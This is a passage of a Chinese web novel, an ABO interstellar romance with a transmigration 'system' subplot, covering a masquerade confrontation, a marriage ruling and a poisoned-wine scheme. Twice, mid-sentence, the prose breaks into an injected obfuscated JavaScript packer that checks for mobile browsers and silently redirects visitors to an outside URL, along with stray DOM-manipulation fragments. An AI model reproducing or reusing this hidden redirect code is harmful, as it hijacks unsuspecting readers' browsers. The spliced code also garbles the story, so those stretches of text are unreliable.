他看着舞池中央那个再熟悉不过的人,脑海中一片空白——既然那个人才是安德烈,那么……他面前的这个人是谁? 20. 婚约审判 安德烈声音冷淡:“看来蓝斯家族对我的家事很感兴趣。既然已经清闲到这个地步,想必索次星上曾经发生的事情,都已经查清楚了。” 蓝斯小公子被他眉眼间的戾气吓得后退一步,正要重振旗鼓,见到他身后跟着的几人,瞬间便哑了声音。 蓝斯族长低声下气道:“元帅,那件事已经过去一年了。” “蓝斯上尉不愿花时间管教子女,总该有时间处理这些悬案。” 安德烈像是很倚重似的轻拍蓝斯族长的肩,掌心的异物感提醒了他什么,接着道,“这枚肩章旧了,换成两颗星的吧。” “元帅!您不能平白无故——”蓝斯族长几乎哽咽,眼眶泛红却不敢泄露一丝愤怒情绪。 他平息情绪,咬牙道,“蓝斯家族对元帅无礼,被降职是应该的。我会主动向军部提出来。” 一旁看热闹看了半天的戈雅终于放下酒杯,哈哈笑道:“你们要感激自己现在是在首都星。要是换成军区,明天就该有碟弹停在蓝斯家的上空了。” 他环视一周,挑眉奇道,“这里闹得这么惊天动地,怎么却不见兰凯斯特夫人?” 舞池气氛僵持不下,戴着面具的人却还在缠绵地亲吻着。 直到舌尖品尝到一点湿润的咸涩。 他停下来,看见钟情满脸泪水。 钟情伸手,想揭开面前人脸上的面具,却又在最后一刻心生怯意。在退缩的一瞬间,那人握住他的手,带着他一同取下面具。 是严楫。 早在答应下罗斯蒙德邀约的那一刻起,钟情便想过许多可能,但唯独没想到会在这里见到死而复生的严楫。Alpha与Beta,虫族老巢与首都星,怎么看都是永远不可调和不可融洽的两个存在。 偏偏他们联系起来了。 钟情惊险地在那短短几秒钟内,伪装出一个妖精能在人类世界里学到的全部感情。 那双黑瞳里,盈着细碎的泪,纠缠着欣喜、难堪、羞愧、悲痛和不甘,像是千百句话要呼之欲出,又像是千百句话也解释不清。 看得严楫心中柔软成一片泥泞,伸手搂住钟情的腰,想要将他重新抱进怀里。 戈雅的声音就在这个时候响起,带着花叶被拂开的响动。 “夫人原来在这里。莫非是遇到知音好友,所以才特意避到角落交谈?” 钟情手一紧,严楫在他手背上轻轻摩挲了两下,随后转身。 戈雅恍然大悟:“原来是严楫元帅啊。” 围观的众人在看见那张脸时就爆发出阵阵惊呼,再也顾不得贵族的礼仪,交头接耳窃窃私语起来。 无数道视线朝安德烈飞去,安德烈面无表情,冷硬得像一块顽石。宴会刚开始时候的轻松愉悦已经荡然无存。 “过来。” 钟情已经被这两个字带出条件反射,下意识就要听话地走过去,被严楫一把拉住。 “安德烈,注意你的语气。他是我的妻子。” “你?”安德烈讥诮地微笑了一下,或者说只是嘴角在僵硬地抽搐,“一个死而复生的、不知道到底是人还是虫的生物?” 这话一出,又是一阵恐惧的惊叫。 戈雅向前一步,站到两人中间,挡住他们对彼此的敌视。他展臂压下众人的议论纷纷:“大家不必担心,我们找到严楫元帅的第一天就对他做了全面的检查。他是一个正常的Alpha人类,没有被任何生物寄生。严元帅侥幸捡回一条命,我们该恭喜才是,只是——” 他看向钟情,“这件事的确很让人为难,按理说,Omega的使命是忠诚,一个Omega是不能同时拥有两个丈夫的。” 严楫将钟情严严实实挡在身后,冷声道:“从来就没有两个丈夫。群星的见证对同一个人只会生效一次,安德烈的婚约根本无效。” 安德烈没有说话,只是静静看着严楫,如同在看一个死人。 两年前的战舰上,他其实并未真的做什么手脚,不过是出于嫉恨,对遇险的严楫见死不救而已。但是现在,他是真的想杀了严楫。 “既然双方都不肯退让,那么只能问问……”戈雅的视线在钟情身上转了一圈,转到身后的人群中去,“那便只能问问审判长了。” 年迈的Beta走出人群,抚摸着胸口处的星象仪徽章,朗声开口:“议长大人,按照联盟法律,AO遵循一夫一妻制度,既然严楫元帅还活着,那么元帅与兰凯斯特夫人的婚姻关系仍在续存期间,双方与他人的婚约都将被视为不成立。” 严楫回头朝钟情轻轻一笑,十指交缠的手握得更紧。 安德烈寒声道:“审判长似乎忘了,判定Alpha与Omega婚约是否成立,还有一个最重要的标准——信息素匹配度。” 他神色冷淡却充满恶意,“严楫,你敢撕下抑制贴吗?” 严楫没有动作。 直到审判长轻声催促,他才犹疑着揭开后颈腺体上的抑制贴。 在玫瑰花香气溢出的那一瞬间,钟情猛地推开他的手,扭头捂着嘴强忍住呕吐。 钟情没敢抬头看严楫的神色。 连他都有些感慨安德烈双S级信息素的强大。虽说只差了一个等级,带来的变化却是如此天差地别,曾经无比熟悉无比眷恋的气息,再次重逢竟然让他反胃。 殿内鸦雀无声,显然围观的贵族们也没想到会是这样的发展。 良久,戈雅开口打破沉默:“看来,兰凯斯特夫人只能是兰凯斯特夫人了。” * 宴会草草结束。 宾客们各自散去,严楫却留在原地,看着安德烈带着钟情渐行渐远。 钟情因之前的呕吐而萎靡不振,一路上都是半靠在安德烈怀里。直到进入飞行器,他推开安德烈,勉强打起精神。 “严楫一定是受了罗斯蒙德的胁迫。安德烈,你能帮帮他吗?” 安德烈抚摸着他焦急的脸。 “你要说的只有这个吗?你为什么不问问我蓝斯的事?” 钟情赶紧道:“我相信你,不管他说什么,我都不会当真。他心怀恶意,我看得出来。” 然而他的话并没让安德烈感到欣慰。他的神色阴沉无比,即使是婚前钟情几次要离开的时候,也不曾这么可怕过。 “我可以帮他,只要你做一件事。” “什么?” 安德烈凑近,在他耳边悄声说了一句话,钟情震惊:“你怎么会知道?” 安德烈不语,只是不错眼地盯着他。 钟情想起他们离开诺恩军区之前发生意外爆炸的研究所,猜到一个可能。 “他们把录音给你了……”他声音轻颤,“你还知道些什么?” 那段录音里记录着钟情曾经压着严楫给完全标记的过程。 嗯,各种意义上的“压着”。 他此时才知道为什么夜晚的安德烈总是如此不知满足——因为安德烈要的是他的主动。 “那座研究所里的秘密,我全都知道。既然诺亚把你害成这个样子,为什么你心心念念的仍然只有他?” 钟情的心随着他这句话七上八下,听到最后才暗中长出一口气。 看来安德烈虽然知道诺亚,却还并不知道精卫,那么他应该也还不知道自己和严楫一样都是被寄生的仿生人。这么说来,录音显然就是戈雅在暗中捣鬼,罗素博士无故失踪后就是他一直在接洽此事。 哼,真不愧是卑鄙的罗斯蒙德。 钟情心中浮起一丝危机感:物归原主的录音笔、死而复生的严楫……一切都像是在存心激怒安德烈,但他为什么要这么做? 安德烈搂着他的手越来越近,钟情看着他的眼神就知道他想做什么。 他挣开安德烈的手,垂眸轻声拒绝:“对不起,安德烈。我做不到。” * 兰凯斯特最近被一种冰冷的氛围笼罩。 安德烈突然开始变得异常忙碌。严楫的回归给他带来不少麻烦,光是K6军团执意迎回这位旧长官的事,就足够他忙得不可开交。 不过再忙他也还是会每天回家,将钟情圈在怀中,压在身下,事无巨细甚至添油加醋地描述当日对严楫发起的每一项进攻。最后,一遍又一遍、不厌其烦地提起那个要求。 钟情每次的回应都是红着眼睛说不。 夜晚他们像是最亲密的爱侣,白日却又像是生活在平行时空的陌生人。在白天钟情不怎么能碰到安德烈,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163294|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看到卫兵驻扎在每一个角落。 这样的日子,有点像是回到之前被软禁的日子。 钟情几乎是在以一种欣赏的态度看待窗外发生的事情。 安德烈明确谢绝所有人拜访后,这个月已经有六个Omega在兰凯斯特家门外扭到脚了。 这种借口怯懦又没什么新意,卫兵就会直接把他们赶走,丝毫不在乎能闯到这里来的都是面子多大的贵族。 但今天这位有些不同。 那位Omega小姐站在门外大大方方说想要到兰凯斯特家里的藏书阁一观,钟情欣赏她不加掩饰的野心,开口让卫兵邀请她进来。 这些事其实都是那次假面舞会带来的后遗症。 那位蓝斯小公子出言不逊的第二天,被家人押着在镜头前念了一篇长达三千字的悔过书,声泪俱下的模样被全联盟所有网站疯狂转载,可以说是丢尽了脸。 但在围观的贵族们心中,另一位当事人也没有讨到半点好。 “……我不应该攻击兰凯斯特夫人的身体状况和道德水平。对于他无法生育而且重病在身的事实,我应当报以同情和祝福,而不是恶毒的诅咒。对于他无意识重婚的事实,我也应当感慨命运无常,而不是一味责怪……婚姻本就是你情我愿的事情,虽说兰凯斯特家族一直与蓝斯家族有联姻的习惯,可我们也该尊重个人的意志。就像严楫元帅在这段婚姻关系中惨遭抛弃,也是他自己的选择。这段已经开花但尚未结果的贵族与平民之间的传奇姻缘,应该得到所有人的歌颂……” 光屏里传出来的声音句句诚恳,又字字都是陷阱。 从那天起,联盟里每个人都知道,兰凯斯特元帅的夫人不过有名无实。 他不仅是一个不能生育、重病垂死的病人,还是一个胆敢重婚、抛弃原配的罪人。而可怜的严楫的元帅和兰凯斯特元帅都被他这个道德低下的小人所蒙蔽了。 想必严楫居住的地方也面临着无数这样的艳遇——连一个无法生育、抛夫重婚的平民Omega都能征服他们,那么换成谁不可以呢? 不过今天这位客人是一位很可爱的小姐,在享用过钟情为她准备的点心后,和他一起在藏书阁待到晚上。 她不仅真的借走了钟情为她推荐的几本战争史学书,还在临走时附到他耳边悄声说: “要是我能嫁给您就好了。” 钟情失笑,多打包了一份点心让她带回去。 她离开后不久,钟情便听见飞行器降落的声音。安德烈难得一次提前回来,却只是站在那里不说话。 钟情知道他在生气,也知道他是在等他去哄,但就是迟迟不开口。 他慢条斯理挑选点心,打包后吩咐卫兵送去卡佩夫人家里。宴会当日审判长说出对蓝斯小公子的惩处后,所有贵族都在一旁等着看笑话,只有这位夫人充满忧虑地开口质疑。他当然要表示感谢。 收拾完餐桌后,钟情才在安德烈面前放下一杯热牛奶: “早点睡。” 接下来几日,安德烈开始长时间待在家里。他严防死守,不让任何一个陌生人踏进这所房子,搞得钟情都很疑惑:难道仿生人对性别有认知障碍?怎么Beta的醋也吃,Omega的醋也吃? 在那位小姐再次前来拜访说要还书的时候,安德烈没让钟情有机会把她邀请进来,直接让卫兵把她轰走。 钟情站在窗边目送那位小姐离开,有些扫兴,正准备离开上楼休息,被一旁的安德烈拉住手腕。 “她为什么挑这个时候借书,又为什么挑这个时候还书,你真的不知道吗?” 钟情轻笑,想要挣开他的手:“人之常情罢了,何必过分苛责呢?” 安德烈不肯放手:“你一点也不生气?” 怎么也挣不开,钟情索性任由他拉着:“这么多人喜欢元帅,我开心还来不及。” “如果是严楫被这样骚扰,你还会开心吗?” 钟情一怔。 严楫在他们之间并不是什么禁忌的话题,但安德烈还是第一次如此明显地主动把自己和严楫进行比较。 在这之前,他提起严楫的时候,永远都是不屑、轻蔑的,就好像他们不是曾经可以托付后背的生死之交。 21. 琼浆玉液 安德烈在话出口的一瞬间就意识到自己的失控。 严楫——这个名字曾被他刻意遗忘,恨不得用刮骨刀从他们的生命里剔得丝毫不剩,到最后却也是他亲自冲破这道严防死守的底线,在愤怒和冲动中,用这个名字把他们两人都刺得鲜血淋漓。 可是再怎么后悔,说出口的话也无法收回。 安德烈眼睁睁看着钟情眼睛里的笑意一点点散去,连同刚刚看过一场闹剧后少有的俏皮生气也一同消失。 “既然元帅怀疑我的忠诚,为什么不放我离开呢?” “你还是想要离开。”安德烈面上浮出明显的怒气,“宴会上你为什么会和他单独在一起?你和他做了什么?如果不是信息素,你是不是会头也不回地跟着他走?” 质问每出口一句,手腕上的力道就加重一分。钟情挣扎着:“安德烈!你弄疼我了!” 安德烈纹丝不动:“你总是在我面前提起他的名字。如果你跟他离开,会在他面前提起我吗?” 钟情气喘吁吁。完全标记能让一个Omega在他的Alpha面前丧失所有反抗力,他不喜欢这种被掌控的感觉,但此刻也不得不停下。纤细的手腕安分地任由安德烈攥住,不再试图反抗。 他垂眸,看着左手无名指上的钻戒,自嘲地一笑:“我怎么敢离开元帅呢?您最近对我太温柔,让我得意忘形,几乎要忘了您是兰凯斯特元帅,有那么多令人惧怕的手段。” 安德烈顺着他的视线看去,也想起这枚戒指意味着的某些不愉快的过去,随即呼吸一滞。 他心中泛起一丝涩意——现在到底是谁更怕谁呢? 汹涌的怒意就这样被绵绵细雨浇灭,安德烈松开钟情的手腕,看着那上面的一圈红痕,轻抚了两下,怕他反感很快便收手。 他低低道:“是我的错。” 钟情弯了下眼角,把这件事轻轻放下:“我会努力原谅您的。” 通讯仪滴滴响了一声。 自从上次宴会上说要清理悬案的话被传出去后,来找安德烈的人骤然多起来。 安德烈不想理会,还是钟情伸手替他接通讯息,微笑道:“去吧。” 一个多么标准的微笑,即使之前他们正在争吵,现在也不见丝毫芥蒂。 总是这样,总是这样毫无波动的冷静。从不生气,也从不任性——因为那个能拨动他情绪的人不在这里。 无比清醒、近乎自虐地意识到这一点后,安德烈转身向外走去。 他的左手死死攥成拳头,戒指硌得骨节生疼。 微型碟弹将诺恩星区的鲜花别墅轰炸成废墟,他就是在那片漫天飞扬的尘土中替钟情带上戒指。不在乎当下真心与否,也不曾想过未来如何相守,那时,他要的仅仅只是钟情留下。 或许所有感情剥离复杂的装饰后都只剩下贪婪二字,要么在这诅咒里分道扬镳,要么在这诅咒里同归于尽。 当他真的一无所有的时候,反倒能忍受所有冷淡的对待。可一旦触碰到一丝更进一步的可能后,就无法容许对方的不坦诚。 本来就是威逼利诱得来的东西,到这时竟也忍不住妄想真情。 * 钟情翻看着卫兵送来的书。 这是之前借给那位小姐的书,除了两本战争史学以外,还有一本与基因编辑相关的书籍。 这三本书都是明令禁止Omega阅读的禁书。毕竟一旦提到星际战争和基因编辑,总是很难隐瞒对第三性别的剥削。 读几本书不可能改变历史的走向。 就算所有Omega都能拥有受教育的机会,没有权力和财政这些社会资源的倾斜,他们仍旧和高级管家高级保姆高级卖身没有区别。 他们需要的是,枪炮、战舰、修复基因的药剂,和一颗没有Alpha的星球。 到那时,他们会拥有比地球劫难之前还要幸福的生活——当人类平等地拥有生殖腔后,性别之间的压迫才可能消失。 那一定是一个非常美妙的世界。 系统突然开口:【我感觉很奇怪。】 它已经好多天都老老实实待在钟情脑海中,法外狂徒一下变得这么遵纪守法,钟情都有点不习惯。 系统大概的确很焦虑,电子音都能听出来有些上火:【这个位面的世界线发生了不正常的波动,你又乱改剧情了?】 钟情直呼冤枉:【就我现在这个弱鸡身体能改得了什么?不过你没感应错,战争要开始了。】 系统发出尖锐爆鸣:【你在说什么!?】 【与我无关,这纯粹是戈雅·罗斯蒙德的错。你难道看不出来吗?政部一直放任兰凯斯特家族与严家瓜分军权,为的就是坐山观虎斗。他们从虫族老巢带回严楫,想必付出了不小代价,这可不是因为他们心善……而是为了制止安德烈继续一家独大。】 【可是原剧情仅仅只是一个大男主称霸星际的爽文啊。】 钟情低头看着掌心的纹路:【作为这个世界里的活生生的人,不可能不考虑爽文结局之后的故事。当年我飞升上界,何尝不算是我那个位面的爽文男主?现在还不是在这里苦哈哈地做任务,还是这种地狱级别的难度。】 【……】系统诚恳地道歉,【我真的很后悔把你带到这里来。下个位面,我一定为你精心挑选一个可以躺平的新手世界,哪怕用我代班挣来的所有积分去贿赂分配者也在所不惜!】 【谢了。】钟情笑笑,【其实我并不曾怪过你,统子。任务世界再怎么艰难,终究只是一个任务而已。我来时的位面同样充斥着诸多不平等,女修永远比男修少,妖修永远比人修少。不是因为我们难以悟道,而是因为我们难以活到悟道的时候。何况悟道需要读万卷书,行万里路,即使我们侥幸没死在什么人手里,也很难有资源支撑我们去做这些事。】 【飞升前我时常在想,若是仙界也是如此,那飞升还有何意义?这几乎都快成我的心魔,但是统子,见到你后,我的心魔就散了。】 系统一连呆滞:【为、为什么?】 【因为你没有性别,也不是人类。这就是我所想象的仙人的模样——既不是男人,也不是女人,既不是名门正道的人族修士,也不是歪门邪道的妖孽精怪。所以只要你还陪伴着我,提醒我不要沉沦此方小世界,我就已经知足。】 系统老脸一红,统生漫长,这还是第一次听见别人夸它是仙人下凡。估计放在所有系统中都是史无前例的第一次。 它觉得自己好像找到钟情为什么能一连收服两个男主的原因了。 【那个、小菜菜……你好像对付无情道很有一手啊。】 【嗯?】钟情想了想,好像也是,仿生人和系统从某种意义上来讲天生就算是无情道? 说到仿生人,钟情言归正传,道:【罗斯蒙德不会收手的,继续这样下去,战争一旦开始,严楫和安德烈必然两败俱伤,这个位面的支柱一个都保不住。】 听到支柱,系统顿时急了:【那怎么办?】 【想要制止一场战争,最快的方法就是开展另一场战争。Alpha过于自负,根本不屑于和未曾经过改造的Beta动手,而Beta又一向狡诈耐心,只等着鹬蚌相争,渔翁得利,不会轻易入局……】钟情融融一笑,【但也不是毫无办法。】 系统正要说什么,门铃突然响了一声。 智能管家赶去开门,系统瞅了一眼,提醒道:【你的红颜知己来了。】 钟情眨眨眼:【卡佩夫人可不是我的红颜知己,她是一名与我志同道合的战士。】 卡佩夫人带来了一瓶没开封的酒,还带来一颗药丸。 药丸藏在高耸浓密的发髻里,轻而易举就躲过门口卫兵的盘查。卡佩夫人当着钟情的面,将药丸放在酒中化开,然后将酒杯递给钟情。 却又在钟情即将接过的那一刻收手,将杯中的酒水一分为二,与钟情共饮。 安德烈进门时,来客便知趣地准备告辞。 卡佩夫人捧着肚子小心地站起来,朝坐在对面的钟情笑了笑:“元帅回来了,我就不打扰你们夫妻的二人世界啦。” 钟情向她微笑点头,感谢她的体贴。 卡佩夫人离开得毫不拖泥带水,只在路过安德烈的时候停下来向他行礼,然后又快步向外走去。 她是少有的能被安德烈允许进入客厅与钟情待一整个下午的人,不仅因为她总是知情知趣,还因为她为人幽默,总能逗主人开心。 安德烈看向沙发间的茶几,上面有一些点心和一瓶酒,已经喝了一小半。 钟情看上去不带任何醉意,但安德烈还是有些担心。 他皱眉问道:“你喝酒了?” 钟情伸出两根手指捏出一个极小的距离,眯着眼睛道:“就这么一点而已。” 安德烈蹲下来平视着钟情,仔细观察他的神色:“有没有不舒服的地方?” “说是酒,其实不过是加了一点酒精的果汁饮料而已。”钟情安抚道,“元帅不用总是这样担心我,我能照顾好自己。” 他说着,伸手去拿茶几上还剩下一点酒液的杯子。安德烈想拦,但面前的人已经很久没有这样心情舒朗过,最后还是没忍心扫他的兴。 他看着钟情惬意地抿下一口酒,起身准备去厨房让智能管家煮一碗解酒汤。 钟情在他走出一段距离后叫住他:“元帅。” 安德烈回头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163295|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>钟情仍旧倚在沙发靠背上,似乎只是不经意想到这个话题。 “卡佩夫人带过来一个她丈夫新研发出的仪器,能将两个人的感知暂时共享。虽说仪器还不稳定,感应的时间只有数秒,但已经足够了。” “我共享了卡佩夫人的感知,她已经怀孕六个月。那是一种很奇妙的感觉,作为孕育的主体,体会到的情绪与旁观的客体完全不一样。” 所有Omega都极具母性,这是写在他们基因里的程序。仪器启动的那一瞬间,钟情便感受到泛滥的爱意,就算反胃、晕眩也不能掩盖的爱意。 那是卡佩夫人的情绪,浓烈到让作为旁观者的钟情都在某一瞬间,生出为那个尚未成形的胚胎去死的念头。 “世上再也没有哪种关系比母亲和胚胎更亲密无间。母亲占据胚胎的全部,谁来也抢不走,而胚胎接受母亲全部的喜怒哀乐。” “它被完全掌控着,可掌控者心甘情愿为这个还没有思想的存在奉献。自它出现以后,母亲吃的每一口饭、喝的每一口水,全都是为了它。彼此掌控,又彼此奉献,世间再也找不到另一件能将自私与无私如此完美地结合起来的事情。” “但是卡佩夫人说,她很快乐。元帅,您知道吗,我曾经也像这样快乐过。” 钟情的瞳色因湿润变得更深,然而却看不出情绪,像涌动的暗流,将所有旁人的窥伺都吞噬进去。 安德烈意识到了什么,他无法说出任何话。 “罗素博士误诊后,有整整一周的时间,我都以为我已经怀孕。你一定很难理解有人会爱上一个素未谋面的人,我以前也不相信,我总觉得爱是建立在很多东西之上的奢侈品。但有时候爱就是这样毫无理由,甚至不能察觉。我爱那个根本就不存在的孩子,因为它与我血脉相连,还因为……它是严楫的遗腹子。” “我是因为严楫而爱他。” “有人告诉我,两年前,您将自己的军舰控制权交给次帅,然后坐着严楫的军舰,和他一起前往虫族巢穴。是真的吗?” 安德烈没有回答,反问道:“是谁告诉你的?是严楫?”声音喑哑得近乎狼狈。 “您答应我会和严楫一起回来,可回来的只有您一个人。宴会上严楫从始至终不曾提起孩子的事,或许他从来就没看到过罗素博士的讯息。那么,兰凯斯特元帅,您看见了吗?” “是罗斯蒙德?” “这些都已经不重要了。”钟情声音轻得像是刚出口就要消散在空气里,“您为什么这么恨严楫呢?” 安德烈唇角微动。 终于还是到了这一步。自严楫死而复生,他就知道早晚会有这一天。每分每秒都是临行前的煎熬,直到今日铡刀落下。 他清晰地听见身体中有什么东西碎裂开来,面上却仍旧如同古井无波,连声音也毫无起伏。 “我不恨他。我只是渴望得到我想要的。” 但光屏上发来的那条讯息意味着他将永远只能妄想。 或许连严楫都不会比他更清楚那那颗胚胎的影响力。他曾见过严楫离开后在玫瑰园一坐就是一整天的钟情,不过是一朵有着严楫信息素气息的花,就可以这么轻而易举地占据他全部时间,何况一个流着严楫血脉的孩子? 只要有严楫在,钟情便再也看不到其他人。就像有无形的丝线将他们紧密联系起来,任由旁观者费尽力气,也插不进去。 钟情将杯子里的酒一口饮尽,酒精让他的眼神略微迷离,他自嘲一笑。 “原来,最该怪的是我自己。怪我不该在十年前遇见您,更不该在两年前接受您的帮助。” 安德烈心中狠狠一缩。 “您说,我的一生究竟是什么样的一生呢?既然是Omega,为什么要给我可以匹敌Alpha的身体素质?既然成为军人,为什么刚上战场就变成残废?” 钟情给自己重新倒了一杯酒,在安德烈想要开口阻止前笑着问道,“元帅要来一杯吗?” 他不等安德烈回答就仰头把杯子里的酒全部灌进嘴里。然后低头擦去嘴角的酒渍,顺便带走眼角因为酒精刺激渗出的一点眼泪。 “您说,我究竟是谁?” “如果我是严楫的妻子,为什么不在听到死讯的那一刻就为他殉情?如果我是您的妻子,为什么不能忘记从前的事情,全心全意地爱您?” “您告诉我,要靠着别人施舍和强迫才能活下去的我……这样的我到底是谁?” 从喉咙深处涌上来的血液把他呛了一下,猛烈的咳嗽间杂着自嘲的笑声。 钟情看着向他飞奔过来的、从来没有这样恐惧过的安德烈,醉意朦胧地向他举杯: “元帅要来一杯吗?” 22. 神经毒素 泾渭分明的两支军队将兰凯斯特围得密不透风。 严楫走出星舰,那张不笑也自带三分笑意的脸现在一片肃杀。他抬起枪口,对向守卫这幢房子的卫兵,命令道:“让开。” 卫兵被这凌厉的威压镇住,不过僵硬片刻,立马就被严楫身后的军士夺下武装。 严楫一脚踢开兰凯斯特的大门。 他匆匆穿过层层回廊,径直走向一扇紧闭的门。 在他拧开门把手之前,门先一步从里面打开,露出安德烈那张苍白的脸。 严楫毫不留情,一拳向那张憔悴的脸挥去。 安德烈没有躲,他硬生生抗下来自S级Alpha充满怒气的一击,嘴角随即溢出一丝鲜血。 严楫敌视着他:“让开,我要带他走。” 这句话终于刺激到幽魂一样的安德烈。 他慢慢抬头,眼中似乎有火星被点燃炸开。他轻声质问:“你凭什么?” “就凭你根本保护不了他。” 见安德烈仍旧只是冷冷地盯着他,严楫脱下手套,拔出腰间配枪随意扔出去,曲起双臂微微弓背,整个人如同一只蓄势待发的猎豹。 “来打一场。我赢了,你放他走。” 安德烈抹了下嘴角的血迹,讽道:“你不可能赢。我的等级比你更高。” 严楫冷笑,开出一个诱人的赌注:“如果我输了,你可以再杀我一次。” 顷刻间他们便缠斗在一起。每一拳砸下都如同炮弹落地,每一招攻击都直冲对方死穴。曾经因为互相了解而可以托付后背的兄弟,现在也因为互相了解,彼此都拼命将对方一步步逼入死地。 最后严楫被安德烈抓住破绽,一个肘击凶猛地撞上胸口。心脏几欲破碎的疼痛让严楫后退几步,安德烈没有丝毫犹豫,又是一拳狠狠砸向他的小腹。 严楫跪倒在地。一只手牢牢掐住他的脖子,心脏处和喉间传来的压迫在向他飞速宣布生命的倒计时。 在沙漏走到尽头的那一刻,一个虚弱的声音响起: “严楫……” 安德烈猝然松手。 钟情不知道自己睡了多久。 在极度的宁静与平和之下,时间的流逝根本无法察觉。直到耳边越来越嘈杂,亮光在眼前闪过又消失,他才如同溺水之人终于呼吸到一口新鲜空气那样,在疼痛和迷惘之中稍微清醒过来。 他没有办法自己坐起来,眼前也是一片黑暗。过了很久之后他才确定不是房间里没有开灯,而是他的视觉受到了损伤。 毒酒不仅侵蚀了他的视神经,还影响了他的声带和听觉。 他试图发出一点声音,但随之传来的是喉间的剧痛。他像是被装进一个罐子里,耳边所有声音都听得不甚分明。 “严楫……” 他费力向旁边摸索着,有人先一步拉住他的手:“我在。” 这是一个极其沙哑的声音,像被人故意划伤的、粗粝的旧唱片。但钟情听不出区别,或者这个时候的他根本意识不到区别。 他只能意识到这个人身上的气味让他很不舒服。 他挣脱开那人的手,向其他方向摸索过去,想要找到能安抚自己的东西,嘴里却仍下意识轻声喃喃着: “严楫……严楫……” 安德烈捉住那只迷茫寻觅的手,释放出一丝信息素,冰雪的气息很快就让手的主人镇静下来。 钟情抚摸着那条能让他安心的手臂,渐渐往上,摸到这个人的脸颊。大概已经很久没有刮胡子,掌心下是硬硬的、刺挠的胡茬。 神经毒素还没有被完全代谢出去,钟情再次陷入昏睡。 安德烈看着几乎快窝到他怀中的钟情,替他掖好被子。 听见钟情醒来第一句仍然是在呼唤严楫,他本该心痛,看到钟情离不开他的信息素,他本该侥幸。但现在他冷静得就像一个旁观者,胸膛那里跳动的东西似乎早就已经被连日的悲伤和恐惧烧成灰烬。 他抬头对床另一边的人发问:“你还要带他走吗?” 严楫不愿相信眼前的一切。他狠狠闭眼,良久,他睁开眼,终于接受了这个事实——钟情爱着他的人,却也爱着安德烈的信息素。 “安德烈,你是这个世界上最卑鄙的人。” * 两大Alpha军团在连日冷战后,突然间便握手言和。 明明之前还一触即发,似乎马上就要闹到你死我活的地步。不过几日便形势大转,两位元帅像是又回到同仇敌忾的少年时代,同进同出,同吃同住。 但战争终究还是来了。 一开始只是小型的、暗中的,就像只是一场口角之争。 慢慢的,它开始积蓄能量,从首都星的这个街区蔓延到另一个街区,从金属的地面逐渐攀援到金属的建筑穹顶。 醉生梦死的贵族和终日忙碌的平民都开始意识到,战争来到首都星,来到Alpha和Beta两个并立又交缠的种族之间,并且不会很快走开。 钟情正在收听一场滑稽的审判会。 这场由联盟最高司法部召开的官司在全网直播,场下沸沸扬扬,场上被告席却空无一人。 一旁的原告席上,卡佩先生声泪俱下。 “我的夫人是一位身份尊贵的Omega。多年来她一直默默承受着Omega和Alpha的歧视,只因为她嫁给了一个Beta而不是Alpha。审判长大人,您向我要兰凯斯特夫人的杀人动机,这还不够明显吗?他是兰凯斯特夫人,他厌烦的人,自然想杀就杀!” “可是,联盟没有任何一条法律规定我们不能相爱,没有任何一条法律规定我们不能结婚。难道就因为兰凯斯特拥有枪炮,我们就该任他宰割吗?” 台下一片哗然。 卡佩先生继续哭诉。 “为了Alpha军队的出征,我们紧衣缩食,把我们能节省出来的一切都用来弥补军队的开支。军部不事生产,他们打造的每一支枪、每一颗炮弹,在军事堡垒上砌起的一砖一瓦,都是我们用自己的脂膏和血肉换来的。军部每一次外扩的计划,我们就算咬紧牙关也毫无怨言。我们供他们在宇宙耍够威风,可是呢,他们转头就将枪口对准我们!” 他转身看向观众席间的人们,悲痛地呼喊道:“这一次死去的是我的妻子,可谁知道,下一次会不会轮到你们的妻子!” 陡然爆开的哄闹声让钟情关掉可视光屏。 他的眼伤还未好全,不过想打开光屏随便听些东西,就听到了这样一场离谱的、甚至没有人告知当事人的审判会。 钟情并不怀疑原告席上的人的悲伤。 卡佩家族是罗斯蒙德最得力的助手。卡佩夫人是世家出生且血统纯正的Omega,和卡佩先生是青梅竹马。 Omega本不该嫁给Beta,是当年意气风发的卡佩先生执意娶她。他做到了,并且这么多年身边没有情人。也就是说,卡佩夫人肚子里的孩子是他们唯一的孩子,未来将会继承整个卡佩家族。 钟情中毒昏迷后不久,卡佩夫人也被发现在回程的飞行器中毒发身亡,一尸两命。 钟情喝下的毒酒能让两个Alpha军团重归于好,卡佩夫人喝下的毒酒却能让Alpha与Beta就此分崩离析。 卡佩先生不相信与他如此恩爱的妻子会带着他们的孩子自杀,悲愤之中一口咬定是兰凯斯特谋杀了她。 他的悲伤是真,作秀的本质也是真。 政客们做事总是那么周全。 外扩明明是整个联盟的决定,议院却说翻脸就翻脸,把账全部算在军部头上。曾经的英雄沦为现在的罪人,连顺理成章收拢军权的借口都已经找好。 这场意外来得如此突然,彻底打乱罗斯蒙德想要挑起Alpha内乱再徐徐图之的计划,但Beta们的公关如此完美,将这个意外转变成开战最好的借口。 第一场闹出人命的械斗发生在审判会后的第三天。 可视光屏里,染血的金属地面被水冲洗后崭新如初,再也看不出这里曾经发生过什么骇人听闻的事情,流血者的痛苦和遗言都随之烟消云散。 门外的卫兵一天天增多,十天半月不见安德烈和严楫是常有的事。就算偶尔见到,也是来去匆匆。 